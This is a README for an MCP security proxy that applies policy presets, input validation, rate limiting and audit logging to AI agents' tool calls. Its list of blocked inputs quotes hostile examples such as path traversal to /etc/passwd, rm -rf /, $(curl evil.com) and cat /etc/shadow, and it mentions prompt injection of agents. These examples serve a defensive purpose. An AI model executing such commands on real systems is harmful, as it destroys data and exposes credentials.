@solongate/proxy

MCP Security Proxy — Protect any MCP server with security policies, input validation, rate limiting, and audit logging. Zero code changes required.

MCP Client ──(stdio)──> SolonGate Proxy ──(stdio)──> MCP Server
                             │
                        [rate limit]
                        [input guard]
                        [policy eval]
                        [audit log]

Works with every MCP client: Claude Code, Claude Desktop, Cursor, Windsurf, Cline, Zed, and any application that supports the Model Context Protocol over stdio.

Quick Start

Automatic Setup

Run this in your project directory (where your .mcp.json lives):

npx @solongate/proxy init --all

Restart your MCP client. Done.

Manual Setup

Edit your .mcp.json:

{
  "mcpServers": {
    "my-server": {
      "command": "npx",
      "args": [
        "@solongate/proxy",
        "--policy", "restricted",
        "--",
        "node", "./my-server/dist/index.js"
      ]
    }
  }
}

Policy Presets

| Preset | Description | |--------|-------------| | restricted | Blocks shell/exec/eval, allows reads and writes (recommended) | | read-only | Only allows read/list/get/search/query operations | | permissive | Allows all tools, still enforces input validation | | deny-all | Blocks all tool calls (emergency lockdown) |

What Gets Blocked

Input Guard (always active):

• Path traversal: ../../etc/passwd
• Shell injection: ; rm -rf /, `whoami`, $(curl evil.com)
• Pipe injection: | cat /etc/shadow
• Oversized inputs (DoS prevention)

Policy Engine (configurable):

• Shell execution tools (shell_exec, run_command, etc.)
• Eval/exec tools
• Web fetch (data exfiltration prevention)
• Any tool matching your custom patterns

Custom Policies

Create a JSON policy file:

{
  "id": "my-policy",
  "name": "My Custom Policy",
  "version": 1,
  "rules": [
    {
      "id": "deny-exec",
      "effect": "DENY",
      "priority": 100,
      "toolPattern": "*exec*",
      "permission": "EXECUTE",
      "minimumTrustLevel": "UNTRUSTED",
      "enabled": true
    },
    {
      "id": "allow-rest",
      "effect": "ALLOW",
      "priority": 1000,
      "toolPattern": "*",
      "permission": "EXECUTE",
      "minimumTrustLevel": "UNTRUSTED",
      "enabled": true
    }
  ]
}

npx @solongate/proxy --policy ./my-policy.json -- node my-server.js

CLI Options

solongate-proxy [options] -- <server-command> [args...]

Options:
  --policy <preset|file>   Policy preset or JSON file (default: restricted)
  --name <name>            Proxy display name
  --verbose                Show detailed error messages
  --no-input-guard         Disable input validation
  --rate-limit <n>         Per-tool rate limit (calls/min)
  --global-rate-limit <n>  Global rate limit (calls/min)
  --config <file>          Load full config from JSON file
  --api-key <key>          SolonGate Cloud API key (cloud policy + audit)
  --api-url <url>          Custom API URL (default: api.solongate.com)

Restore Original Config

npx @solongate/proxy init --restore

Why SolonGate?

MCP servers give AI agents direct access to your system — shell commands, file system, databases, network. A single prompt injection attack can turn your AI assistant into an attacker.

SolonGate sits between the AI client and the MCP server, enforcing security policies on every tool call before it reaches the server.

Learn more at solongate.com

License

MIT